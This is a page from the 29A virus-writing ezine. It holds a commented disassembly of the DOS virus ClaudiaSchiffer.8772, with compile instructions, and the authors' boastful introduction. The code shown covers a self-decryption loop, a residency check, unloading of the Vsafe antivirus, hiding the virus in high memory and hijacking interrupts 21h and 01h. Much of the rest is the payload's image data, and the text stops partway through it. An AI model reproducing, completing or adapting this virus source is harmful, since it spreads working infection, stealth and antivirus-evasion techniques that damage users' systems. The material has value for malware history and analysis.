Copy Link
Add to Bookmark
Report

29A Issue 03 05 14

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;
; ÍÎÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÎÍ
; º ClaudiaSchiffer.8772 º
; º disassembly by º
; º Darkman/29A & Mister Sandman/29A º
; ÍÎÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÎÍ
;
; Darkman and Mister Sandman, that is us, in our first coproduction project,
; very proudly present our disassembly of the Claudia Schiffer virus. It was
; a matter of one couple hours of work each to complete this source, a great
; thing for us both, as no one of us expected each other to be that quick :)
;
; The virus itself wasn't technically speaking a big challenge, but a pretty
; good exercise and who knows if the first of a long series of disassemblies
; Darkman and i might do together in the near future. But, by now, it's just
; the source of a virus which was in hot fashion not too long ago due to its
; spectacular graphical payload. In my opinion it is quite poorly written as
; it does a lot of weird non-sense things and spends a lot of unuseful bytes
; in routines which could have been written in a much better way. Apart from
; this, its modularization ain't too brilliant as well.
;
; Anyway it doesn't lack at all in the sense that it uses some nice features
; such as full stealth (both DTA and FCB, in opens and reads), int 1 hooking
; and some more you'll have the chance to discover on your own by going thru
; this disassembled, labelled, and commented source code. The most important
; feature of this virus, as i said before, is its payload, which consists on
; displaying an image of Claudia Schiffer together with some lyrics from the
; song "22 Acacia Avenue", by Iron Maiden. Heavy metal fans, you're lucky :)
;
; Let's read some words from our sponsor (buahahaha):
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
; Claudia.8772
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; It is not a dangerous memory resident encrypted parasitic stealth virus.
; It hooks INT 21h and writes itself to the end of EXE files that are ac-
; cessed. Starting from August 25 1996 the virus manifests itself by a vi-
; deo effect: it turns the computer to the graphic video mode, displays an
; image of Claudia Schiffer and displays the message:
;
; Das ist ClaudiaSchiffer virus by OS
; Sometimes when U stroling down the
; Avenue the way U walk it makes men
; Thinkof HAVING U when U walking
; Down the street everybody stops
; & turns 2 stare at U! (IrM)
; Hope 2 meet U...somewhere in time
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Btw, that's a pretty short description coming from Kaspy for a russian vi-
; rus. I think he probably just didn't know about its country of origin :P
;
; And now it is time to listen to Kraftwerk's song "Das Modell", which has a
; lot to do with this virus and is, btw, one of my favorite oldies... do not
; hesitate for a single second if you have the chance to download its MP3.
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; She's a model and she's looking good.
; I'd like to take her home, that's understood.
; She plays hard to get, she smiles from time to time.
; It only takes a camera to change her mind.
;
; She's going out tonight, loves drinking just champagne.
; And she has been checking nearly all the men.
; She's playing her game and you can hear them say,
; "she's looking good, for beauty we will pay".
;
; She's posing for consumer products now, and then,
; for every camera she gives the best she can.
; I saw her on the cover of a magazine.
; Now she's a big success, I want to meet her again.
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (The Man Machine)
;
;
; Compile with
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m claudia.asm
; tlink /t /x claudia.obj


.model tiny
.code
org 100h ; Origin of Claudia.8772

code_begin:
jmp crypt_begin

db 1bh dup (90h)
virus_begin:
crypt_offset equ word ptr $+01h ; Offset of crypt_begin
lea bx,crypt_begin ; BX = offset of crypt_begin
crypt_key equ byte ptr $+01h ; Offset of decryption key
mov al,00h ; AL = decryption key
crypt_loop:
xor cs:[bx],al ; Decrypt a byte
inc bx ; Increase index register
neg al ; Negate decryption key

crypt_offse_ equ word ptr $+02h ; Offset of crypt_end
cmp bx,offset crypt_end ; Offset of crypt_end?
jbe crypt_loop ; Below or equal? Jump to crypt_loop
crypt_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,offset delta_offset

push ds es ; Save segments at stack

jmp test_install

nop

db 11101001b ; JMP imm16 (opcode 0e9h)
test_install:
mov ax,'CS' ; Claudia.8772 function
int 21h
cmp bx,'OS' ; Already installed?
jne uninstall ; Not equal? Jump to uninstall

jmp virus_exit
uninstall:
mov ax,0fa01h ; PC Tools V8+ Vsafe, Vwatch - Uin...
mov dx,5945h ; " " " " " " "
int 21h

mov ah,2ah ; Get system date
int 21h
cmp cx,7cch ; 1996?
jne payload ; Not equal? Jump to payload
cmp dx,819h ; August 25?
jb allocate_mem ; Below? Jump to allocate_mem
payload:
push es ; Save ES at stack

call payload_

pop es ; Load ES from stack
allocate_mem:
mov ax,es ; AX = segment of PSP for current ...
dec ax ; AX = segment of current Memory C...
mov ds,ax ; DS = " " " " "

sub word ptr ds:[03h],(data_end-code_begin+0fh)/10h+01h
sub word ptr ds:[12h],(data_end-code_begin+0fh)/10h+01h

mov ax,ds:[12h] ; AX = segment of the virus
mov ds,ax ; DS = " " " "

sub ax,0fh ; Subtract fifteen from segment of...
mov es,ax ; ES = segment of the virus - 0fh

mov byte ptr ds:[00h],'Z'
mov word ptr ds:[01h],08h
mov word ptr ds:[03h],(data_end-code_begin+0fh)/10h+01h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov di,100h ; DI = offset of virus in memory
mov cx,(code_end-code_begin)
lea si,[bp+code_begin] ; SI = offset of code_begin
rep movsb ; Move the virus to top of memory

xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of BIOS data segment
sub word ptr ds:[413h],(code_end-code_begin+3ffh)/400h-02h

mov si,(21h*04h) ; SI = offset of interrupt 21h
lea di,int21_addr ; DI = offset of int21_addr
movsw ; Get interrupt vector 21h
movsw ; " " " "

lea dx,[bp+int01_virus] ; DX = offset of int01_virus
mov ds:[(01h*04h)],dx ; Set interrupt vector 01h
mov ds:[(01h*04h+02h)],cs

push es ; Save ES at stack
mov ah,52h ; Get list of lists
int 21h
mov ax,es ; AX = segment of DOS list of lists
mov cs:[bp+dos_list_seg],ax
pop es ; Load ES from stack

mov [bp+virus_seg],es ; Store segment of virus in top of...

mov ax,100h ; Set trap flag
push ax ; Save AX at stack
popf ; Load flags from stack

mov ah,0bh ; Get stdin status
pushf ; Save flags at stack
call dword ptr ds:[(21h*04h)]

xor ax,ax ; Clear trap flag
push ax ; Save AX at stack
popf ; Load flags from stack

mov word ptr [si-04h],00h
mov word ptr [si-04h],offset int21_virus
mov [si-02h],es ; Set interrupt vector 21h
virus_exit:
pop es ds ; Load segments from stack

mov ax,ds ; AX = segment of PSP for current ...

add ax, cs:[bp+initial_cs_]
mov cs:[bp+initial_cs],ax

mov ax, cs:[bp+initial_ip_]
mov cs:[bp+initial_ip],ax

mov ax,ds ; AX = segment of PSP for current ...
add ax,cs:[bp+initial_ss]
cli ; Clear interrupt-enable flag
mov ss,ax ; SS = initial SS relative to star...
mov sp,cs:[bp+initial_sp]

call zero_regs

db 11101010b ; JMP imm32 (opcode 0eah)
initial_ip dw 00h ; Initial IP
initial_cs dw 0fff0h ; Initial CS relative to start of ...
message db ' Das ist ClaudiaSchiffer virus by OS ',0dh,0ah,0ah,0ah
db ' Sometimes when U stroling down the',0dh,0ah,0ah
db ' Avenue the way U walk it makes men',0dh,0ah,0ah
db ' Thinkof HAVING U when U walking',0dh,0ah,0ah
db ' Down the street everybody stops',0dh,0ah,0ah
db ' & turns 2 stare at U!',9,'(IrM)',0dh,0ah,0ah,0ah
db 'Hope 2 meet U...somewhere in time$'
image_byte db ? ; Byte within image
counter dw ? ; Counter
image db 0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0d6h,0c1h,0fah,7eh,6dh
db 0c1h,0fah,7eh,6dh,0c1h,0fah,0c2h,7eh,42h,3ah,02h,0c2h
db 0f7h,77h,26h,61h,71h,04h,1fh,34h,45h,5ch,0c2h,1bh,7fh,1bh
db 0c2h,4ch,36h,45h,09h,1fh,0c1h,0cdh,34h,0c2h,45h,4ch,24h
db 4ch,0c1h,0e0h,45h,0c1h,0e0h,0c1h,0f6h,4ch,0c1h,0f1h,0bah
db 0c2h,0dh,72h,0c1h,0f1h,7fh,34h,1fh,0c1h,0d4h,53h,0c1h
db 0f8h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h
db 0fah,7eh,0c1h,0fah,0c2h,7eh,0c1h,0fah,7eh,0c1h,0fah,6dh
db 0c3h,0fah,0c2h,7eh,0c1h,0e3h,0c1h,0d5h,0c1h,0d3h,86h,23h
db 39h,1dh,53h,14h,32h,57h,1fh,12h,5ch,0c3h,1bh,0c2h,36h,5ch
db 80h,34h,6ah,1fh,4fh,80h,0c2h,0b3h,6eh,0c2h,76h,0c2h,4ch
db 36h,6eh,0c1h,0f6h,0c1h,0f1h,0bah,76h,0c2h,72h,76h,0c1h
db 0f6h,45h,34h,32h,1eh,30h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,0c1h,0d6h,0c1h,0fah,7eh,0c2h,0fah,7eh,0c1h
db 0fah,0c3h,7eh,0c1h,0fah,0c3h,7eh,91h,51h,0c2h,0cfh,0c2h
db 59h,53h,04h,0c1h,0dfh,57h,1fh,11h,1fh,12h,5ch,36h,1bh,5ch
db 45h,0b3h,6ah,09h,1fh,57h,63h,30h,14h,0c1h,0d4h,48h,8bh
db 31h,05h,0c2h,6eh,0c2h,05h,31h,05h,0c1h,0f6h,76h,0b8h,4ch
db 1bh,36h,12h,14h,30h,1eh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,0c2h,7eh,42h,7eh,0c1h,0fah,7eh,0c2h,0fah,7eh
db 0c1h,0d6h,0c2h,7eh,0c1h,0fah,0c1h,0e3h,70h,10h,0c1h,0d8h
db 0c1h,0f5h,59h,06h,55h,63h,11h,57h,32h,11h,1fh,34h,45h
db 0c2h,36h,0b3h,34h,0c2h,6ah,0c2h,34h,0b3h,12h,1fh,4fh,0c1h
db 0d4h,53h,0eh,0c2h,46h,94h,09h,6eh,0c1h,0f6h,05h,0a6h,48h
db 09h,0c1h,0e0h,36h,6eh,36h,05h,57h,0c1h,0d4h,06h,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c2h,0fah,7eh,0c1h
db 0fah,7eh,0c1h,0fah,7eh,6dh,7eh,42h,7eh,6dh,0c1h,0e3h,0c1h
db 0c2h,0c1h,0f0h,41h,6ch,61h,1dh,53h,14h,60h,32h,0c2h,63h
db 11h,34h,45h,5ch,0c2h,45h,6ah,4fh,2eh,34h,45h,5ch,36h,1bh
db 5ch,07h,2eh,14h,1dh,0c2h,94h,71h,59h,6ch,0c1h,0cdh,0b8h
db 0b9h,17h,0c1h,0e0h,71h,46h,94h,48h,0a6h,09h,0c1h,0cdh,14h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,0c1h
db 0fah,7eh,0c2h,0fah,7eh,0c1h,0fah,7eh,0c1h,0fah,0c2h,7eh
db 0c1h,0fah,6dh,0c1h,0f0h,46h,94h,0bbh,94h,71h,30h,0c2h,14h
db 63h,32h,1fh,34h,45h,5ch,0c2h,45h,9dh,4fh,55h,0c2h,2eh,34h
db 45h,7fh,84h,7fh,45h,12h,14h,30h,71h,94h,71h,4fh,6ch,56h
db 39h,46h,0b2h,0c2h,0b8h,80h,8fh,79h,0c2h,0e7h,6fh,61h,0ffh
db 00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,0c1h,0fah,7eh
db 0c1h,0d6h,7eh,0c1h,0fah,7eh,6dh,42h,7eh,91h,0c1h,0e3h,3ah
db 61h,0a6h,6ch,30h,94h,0c1h,0d4h,14h,57h,63h,04h,1fh,34h
db 5ch,36h,45h,5fh,4fh,0ah,1dh,0ah,55h,63h,34h,5ch,1bh,84h
db 0c2h,1bh,45h,1fh,14h,30h,53h,94h,57h,09h,31h,65h,46h,26h
db 46h,0a6h,05h,0b3h,0c1h,0cdh,3eh,4fh,8fh,94h,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0fah,7eh,0c1h,0fah
db 7eh,0c1h,0fah,7eh,0c1h,0fah,0c1h,0d6h,7eh,54h,49h,0c1h
db 0e4h,59h,0c2h,4fh,0c2h,71h,14h,55h,14h,32h,14h,32h,1fh
db 34h,45h,34h,18h,0ah,0c2h,79h,0c1h,0e5h,79h,5eh,0ah,55h
db 6ah,36h,1bh,0c2h,24h,1bh,80h,55h,53h,46h,1dh,6ch,0a6h,34h
db 0b3h,0c1h,0e9h,80h,8fh,71h,0c1h,0cdh,31h,0b3h,09h,2eh,1fh
db 32h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,42h
db 7eh,0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0e3h
db 0c1h,0c2h,23h,48h,0c2h,4fh,0c2h,71h,4fh,0c2h,57h,1fh,63h
db 32h,34h,07h,6ah,74h,5eh,2dh,79h,0c1h,0e5h,40h,0c1h,0e5h
db 79h,2dh,74h,2eh,80h,45h,1bh,84h,4ch,1bh,2eh,53h,59h,46h
db 0c1h,0f8h,61h,8fh,1fh,80h,1bh,6eh,0c1h,0e0h,31h,0c2h,05h
db 80h,0c3h,1fh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c1h,0d6h,7eh,0c1h,0fah,7eh,0c2h,0fah,7eh,0c1h,0fah,49h
db 0c1h,0c2h,0c1h,0f7h,46h,0a6h,57h,14h,0c2h,4fh,57h,09h,1fh
db 32h,60h,1fh,12h,09h,0c1h,0cah,2dh,0c4h,0e5h,0aeh,0c2h
db 0e5h,2dh,0ah,55h,2eh,6ah,0c1h,0e0h,1bh,0c1h,0f1h,0c1h
db 0f6h,0b3h,94h,0c1h,0f8h,0c1h,0f5h,0c1h,0f8h,39h,0eh,14h
db 2eh,5fh,1bh,6eh,1bh,0c2h,36h,45h,1fh,34h,1fh,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,0c1h,0fah,7eh
db 0c2h,0fah,7eh,0c1h,0fah,7eh,0c1h,0fah,21h,0a8h,14h,57h
db 63h,1fh,0c2h,4fh,09h,34h,0c3h,1fh,34h,80h,18h,0ah,16h
db 0c3h,0e5h,0aeh,0c2h,40h,0bh,79h,5eh,0ah,0c2h,55h,6ah,45h
db 0c1h,0f6h,6eh,0b3h,48h,0c1h,0e7h,23h,46h,0c1h,0fbh,7ah
db 46h,30h,63h,1fh,05h,5ch,0c2h,45h,12h,0c3h,34h,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0fah,7eh,0c1h
db 0fah,7eh,0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0d6h,86h,71h
db 0c1h,0d4h,4fh,0c3h,57h,1fh,0c2h,09h,34h,0c2h,1fh,5fh,18h
db 30h,5eh,79h,16h,0c1h,0e5h,0c2h,0aeh,7bh,0bh,0aeh,40h,0bh
db 79h,5eh,0ah,30h,3eh,0b3h,45h,09h,0a6h,61h,0c1h,0e2h,0c1h
db 0f8h,7ah,4ah,0c1h,0f2h,1dh,5dh,30h,09h,12h,36h,5ch,0c2h
db 45h,0b3h,1fh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 7eh,0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0fah,7eh,0c1h,0fah
db 3ah,0eh,0c2h,14h,4fh,57h,4fh,0c3h,09h,34h,09h,34h,0c2h
db 6ah,5bh,0ah,5eh,0c2h,0e5h,7bh,0c2h,0aeh,0bh,40h,0c3h,0adh
db 0bh,6fh,79h,1dh,0ah,55h,3eh,2eh,0a6h,46h,0c2h,0f8h,23h
db 4ah,0c1h,0c4h,0c1h,0f8h,61h,69h,53h,4fh,80h,0c2h,36h,0b3h
db 34h,11h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh
db 0c1h,0fah,7eh,42h,7eh,0c1h,0fah,7eh,91h,23h,48h,4fh,14h
db 4fh,0a6h,0c3h,09h,45h,31h,05h,0b3h,4fh,55h,0c1h,0c9h,5bh
db 5eh,6bh,0aeh,7bh,0bh,7bh,40h,0aeh,0c3h,0adh,22h,0c2h,40h
db 0bh,6fh,79h,0ah,6ch,30h,6ch,0c1h,0f5h,0c2h,0f8h,7ah,0c1h
db 0c4h,0c1h,0fbh,56h,0c1h,0f8h,7dh,0fh,06h,14h,09h,0b3h,34h
db 1fh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h
db 0fah,7eh,0c1h,0d6h,7eh,0c1h,0fah,7eh,0c1h,0fah,0c1h,0d5h
db 0c1h,0d8h,57h,48h,14h,0c2h,0a6h,0c3h,09h,0c3h,05h,0beh
db 55h,1dh,5bh,7ch,9ah,0bh,0c2h,7bh,22h,0aeh,40h,22h,0adh
db 0c2h,7dh,0c2h,0adh,43h,0aeh,56h,7dh,0c1h,0e5h,0c3h,1dh
db 0c2h,59h,0c1h,0e7h,39h,77h,0c1h,0fbh,0c1h,0f0h,0c1h,0f8h
db 8dh,0fh,0c1h,0edh,0c1h,0e7h,06h,14h,34h,1fh,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,0c2h,7eh,0c1h,0fah,7eh
db 0c2h,0fah,91h,0c1h,0d3h,48h,94h,0c1h,0d4h,0c2h,0a6h,57h
db 09h,0b3h,31h,05h,0c1h,0f6h,36h,60h,30h,5bh,7ch,2dh,0c1h
db 0c3h,0bh,7bh,0adh,0c2h,7bh,0adh,0aeh,0adh,7dh,0c2h,0adh
db 22h,0adh,22h,0c2h,40h,43h,79h,59h,41h,0c1h,0cfh,26h,59h
db 39h,0c1h,0e7h,77h,0c1h,0f0h,0c1h,0f8h,0bh,0c1h,0e7h,39h
db 0c2h,0edh,8dh,1eh,57h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h
db 0c6h,00h,0c5h,0fah,91h,97h,10h,2fh,94h,0c2h,48h,3bh,0a6h
db 57h,0b3h,05h,36h,0c1h,0f6h,45h,0c2h,30h,7ch,5eh,0c2h,6bh
db 0bh,7bh,0bh,7bh,0aeh,40h,0c5h,0adh,22h,7dh,0adh,22h,7dh
db 40h,6fh,59h,10h,59h,0c1h,0f2h,61h,6fh,0fh,0c2h,0f0h,0c1h
db 0f8h,6fh,39h,0fh,0c3h,0edh,26h,0c1h,0d2h,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,42h,0c1h,0fah,7eh,6dh,7eh
db 0c1h,0c2h,67h,0c1h,0cfh,2fh,46h,2fh,0c1h,0cfh,0c1h,0d8h
db 3bh,0c1h,0cch,0b3h,0c3h,05h,18h,0ah,5bh,2dh,0c2h,6bh,0bh
db 7bh,0bh,7bh,40h,0c2h,0aeh,0c3h,0adh,0c2h,22h,0adh,7dh
db 0adh,22h,7dh,43h,56h,79h,59h,39h,23h,06h,04h,0c3h,39h
db 0c1h,0e7h,10h,39h,0c1h,0f0h,77h,0c1h,0eah,0c1h,0fbh,0fh
db 0c1h,0f2h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c1h,0fah,0c2h,7eh,0c2h,0fah,0c1h,0c2h,68h,0c1h,0d8h,46h
db 0c1h,0cfh,7ah,0c1h,0f7h,0c1h,0cfh,46h,8fh,0c2h,05h,0b3h
db 4fh,30h,5eh,69h,0c2h,6bh,0bh,0c2h,7bh,0c2h,0bh,7bh,22h
db 7bh,0aeh,22h,0c2h,0adh,22h,0c3h,7dh,0adh,7dh,0adh,0c2h
db 6fh,59h,56h,0c1h,0d3h,43h,14h,53h,39h,77h,39h,0c1h,0d3h
db 59h,26h,77h,0fh,77h,39h,0c1h,0f2h,0ffh,00h,0ffh,00h,0ffh
db 00h,0ffh,00h,0c6h,00h,0c2h,0fah,91h,6dh,0c1h,0fah,0c1h
db 0dbh,68h,0c1h,0cfh,0a8h,59h,51h,0c1h,0d3h,2fh,48h,31h
db 0c2h,05h,8fh,0ah,5eh,0c3h,2dh,0bh,0c1h,0e5h,7bh,0bh,7bh
db 0bh,0aeh,7bh,40h,0c2h,0adh,22h,0aeh,0adh,0c2h,7dh,52h
db 0c2h,7dh,22h,40h,56h,59h,6fh,59h,39h,0c1h,0e7h,4fh,69h
db 43h,39h,26h,94h,2dh,0c1h,0f8h,6fh,06h,59h,06h,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c4h,0fah,0c1h,0e4h
db 0c1h,0dbh,68h,7ah,0c1h,0f0h,51h,0c1h,0d3h,47h,0c1h,0d3h
db 4fh,0b3h,05h,0c1h,0cdh,8fh,30h,1dh,2dh,0c4h,0e5h,0bh,7bh
db 40h,0c2h,0aeh,40h,7bh,0c3h,0adh,22h,0adh,0c2h,7dh,0c2h
db 52h,0c2h,7dh,43h,22h,6fh,0c1h,0f8h,6fh,77h,0c1h,0c4h,30h
db 14h,33h,39h,26h,0c3h,69h,06h,0c2h,53h,69h,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,0c2h,0fah,6dh,91h,70h,0c1h
db 0eah,0c1h,0d5h,42h,0c1h,0d6h,0c1h,0c2h,67h,0c1h,0d5h,7ah
db 0a6h,09h,31h,0c2h,80h,0beh,18h,1dh,0bh,7bh,0c1h,0e5h,7bh
db 0bh,0c3h,0aeh,40h,0aeh,22h,0c4h,0adh,0c2h,7dh,0adh,0c2h
db 52h,0c2h,7dh,0c2h,22h,06h,8dh,59h,0c1h,0e2h,0c1h,0c4h,8dh
db 30h,04h,6fh,0c1h,0f8h,06h,53h,55h,5bh,0b6h,1eh,30h,0ffh
db 00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,6dh,0c2h,0c2h
db 67h,0c1h,0dbh,6dh,54h,0c1h,0dbh,0c2h,70h,0c1h,0fah,4ah
db 0a6h,1fh,2eh,31h,6eh,36h,0b7h,55h,0c2h,0e5h,6bh,0bh,0c2h
db 0aeh,0adh,40h,0c2h,0aeh,0c5h,0adh,0c5h,7dh,52h,0adh,22h
db 0c1h,0e7h,2dh,0c1h,0e7h,0c1h,0f8h,56h,0c2h,77h,69h,5dh
db 1eh,26h,6fh,53h,30h,04h,5bh,1eh,5dh,0ffh,00h,0ffh,00h
db 0ffh,00h,0ffh,00h,0c6h,00h,42h,6dh,0c1h,0c2h,3ah,0c1h
db 0e4h,0c1h,0c2h,0c1h,0e4h,21h,0c1h,0f7h,0c1h,0d3h,0c1h
db 0cfh,39h,94h,0c1h,0cdh,4fh,0c2h,46h,71h,0b2h,0c1h,0e0h
db 2ch,0ah,0c3h,0e5h,0c3h,0aeh,22h,0adh,22h,0c2h,0aeh,0adh
db 0c4h,7dh,43h,0c4h,7dh,0adh,40h,79h,2dh,6fh,59h,39h,0c1h
db 0d9h,0c1h,0e7h,53h,0c2h,5dh,6fh,33h,53h,55h,1eh,0b6h,69h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,6dh,7eh,0c1h
db 0e4h,6dh,0c1h,0c2h,3ah,97h,23h,0c1h,0f8h,0c1h,0efh,48h
db 71h,4fh,09h,4fh,0c2h,1dh,61h,0bbh,9dh,80h,2ch,0ah,6bh
db 0c1h,0e5h,0bh,0adh,40h,0adh,7dh,0c4h,0adh,0c3h,7dh,0c2h
db 52h,0adh,0c3h,7dh,0adh,40h,0bh,2dh,6fh,1dh,0c1h,0e7h,77h
db 0c1h,0e7h,8dh,0c2h,0b6h,69h,06h,69h,0c2h,33h,0c2h,8dh
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0fah
db 0c2h,91h,0c1h,0c2h,0c1h,0eah,0c1h,0f7h,68h,51h,0a8h,0c1h
db 0d4h,0c2h,57h,14h,48h,0a6h,9dh,3eh,0c2h,5eh,0bbh,9dh,0c1h
db 0e0h,55h,2dh,6bh,0bh,0aeh,0adh,40h,7dh,40h,7dh,0c3h,0adh
db 0c4h,7dh,52h,0c2h,7dh,0adh,7dh,40h,0bh,2dh,61h,30h,0c1h
db 0f5h,39h,43h,39h,0c1h,0e7h,06h,0b6h,69h,33h,8dh,7bh,0fh
db 0c1h,0e7h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c2h,6dh,0c1h,0c2h,3ah,67h,02h,0c1h,0eah,21h,26h,46h,0c1h
db 0d4h,09h,0c2h,0a6h,2bh,76h,8ah,2ch,0bfh,5eh,74h,0c1h,0e0h
db 2eh,5eh,6bh,0bh,0aeh,0c2h,40h,0aeh,0adh,22h,0adh,0cah,7dh
db 0adh,40h,0c2h,0bh,69h,53h,0ah,06h,26h,39h,77h,39h,33h,3dh
db 0b6h,9ah,33h,0c2h,22h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h
db 0c6h,00h,6dh,0c1h,0c2h,0c1h,0dbh,0c1h,0d5h,0c1h,0eah,0c1h
db 0dbh,3ah,51h,0c1h,0cfh,3bh,4fh,0b3h,0c1h,0cdh,62h,0afh
db 0c2h,00h,0aah,0b8h,0b2h,6ch,18h,9dh,5bh,2dh,0c2h,0bh,40h
db 0adh,40h,0aeh,22h,43h,0adh,0c2h,7dh,52h,7dh,52h,0c4h,7dh
db 0c2h,0adh,0bh,6bh,0c2h,69h,30h,94h,59h,0c1h,0e7h,77h,4ah
db 0c1h,0d9h,0c1h,0e7h,26h,0c2h,06h,33h,8dh,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,7eh,3ah,0c1h,0eah,0c2h
db 0dbh,0c3h,0eah,86h,3bh,0a6h,09h,8bh,85h,0afh,0c1h,0c5h
db 0c1h,0fch,0c1h,0dch,0c1h,0e8h,9bh,65h,30h,6ah,55h,0ah,2dh
db 0bh,7bh,40h,0aeh,40h,7dh,0c2h,0adh,0c4h,52h,7dh,0c2h,52h
db 0c2h,7dh,0adh,7bh,0c2h,0bh,0c2h,0ah,53h,0ah,69h,59h,0c1h
db 0e7h,77h,0c2h,91h,0c1h,0c4h,4ah,0c1h,0edh,0c2h,0fh,0ffh
db 00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0c2h,70h
db 0c1h,0dbh,0c2h,3ah,0c2h,0eah,0c1h,0f0h,59h,8fh,09h,31h
db 48h,64h,0a4h,75h,0a0h,8eh,8ch,87h,38h,20h,3eh,55h,5bh,33h
db 0bh,40h,0bh,6bh,2dh,0c2h,0bh,40h,0adh,0c2h,52h,0c1h,0d9h
db 0c3h,52h,7dh,0c2h,0adh,22h,0bh,6bh,0c1h,0c3h,0c2h,5bh
db 0c2h,53h,0c2h,1dh,69h,0c1h,0f2h,4ah,0c3h,0d6h,25h,0c1h
db 0c4h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h
db 0c2h,0c1h,0dbh,0c1h,0eah,0c1h,0d5h,67h,0c2h,0eah,39h,26h
db 61h,6ch,1dh,59h,0c1h,0cch,8ah,0ach,0c1h,0d5h,0c1h,0feh
db 0a1h,0bdh,0c1h,0f4h,0b8h,0b7h,30h,33h,0c4h,0bh,5eh,0ah
db 0c1h,0cah,74h,0ah,79h,56h,52h,0c1h,0d9h,92h,52h,0c3h,7dh
db 0adh,7bh,0bh,6bh,2dh,0c4h,55h,30h,53h,69h,0ah,33h,6fh
db 0c1h,0d2h,26h,4ah,0c1h,0c4h,0ffh,00h,0ffh,00h,0ffh,00h
db 0ffh,00h,0c6h,00h,3ah,0c3h,0eah,0c2h,7ah,0c2h,0f2h,0c1h
db 0e7h,26h,6fh,10h,0c1h,0f5h,41h,6ch,85h,19h,0c1h,0fdh,0c1h
db 0dch,0c2h,0a1h,64h,0c1h,0ddh,30h,6fh,0c2h,22h,40h,2dh,30h
db 63h,0c1h,0cdh,2eh,9dh,0c2h,5fh,5eh,0c2h,43h,77h,0c1h,0d9h
db 52h,43h,22h,0adh,7bh,6bh,0c1h,0c3h,5bh,63h,4fh,60h,14h
db 63h,1fh,1dh,06h,6fh,0c1h,0f8h,6fh,61h,59h,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,70h,67h,0c1h,0eah,21h,0c1h
db 0f7h,0c1h,0eah,0c1h,0f2h,0eh,06h,0c1h,0f5h,59h,56h,43h
db 39h,56h,6ch,19h,0bfh,0ach,99h,0a9h,2fh,41h,5eh,40h,43h
db 0c2h,22h,6fh,5eh,30h,18h,2eh,9ch,9dh,5ch,0c1h,0e9h,18h
db 0aeh,0c1h,0e2h,0c2h,52h,7dh,0c2h,22h,7bh,0bh,2dh,5bh,30h
db 18h,60h,2eh,57h,6ah,1fh,0b3h,6ah,4fh,0c1h,0d4h,71h,30h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c3h,0eah
db 0c2h,21h,77h,86h,59h,61h,59h,6fh,56h,22h,43h,39h,56h,0c1h
db 0f5h,0bbh,41h,0a8h,41h,1dh,6fh,40h,0c2h,7dh,43h,40h,6fh
db 2dh,0c4h,0ah,30h,4fh,9dh,2ch,3eh,2dh,40h,52h,7dh,0aeh
db 0adh,0aeh,0bh,0c1h,0c3h,7ch,30h,63h,1fh,57h,2eh,80h,11h
db 5fh,45h,34h,6ah,1fh,9dh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
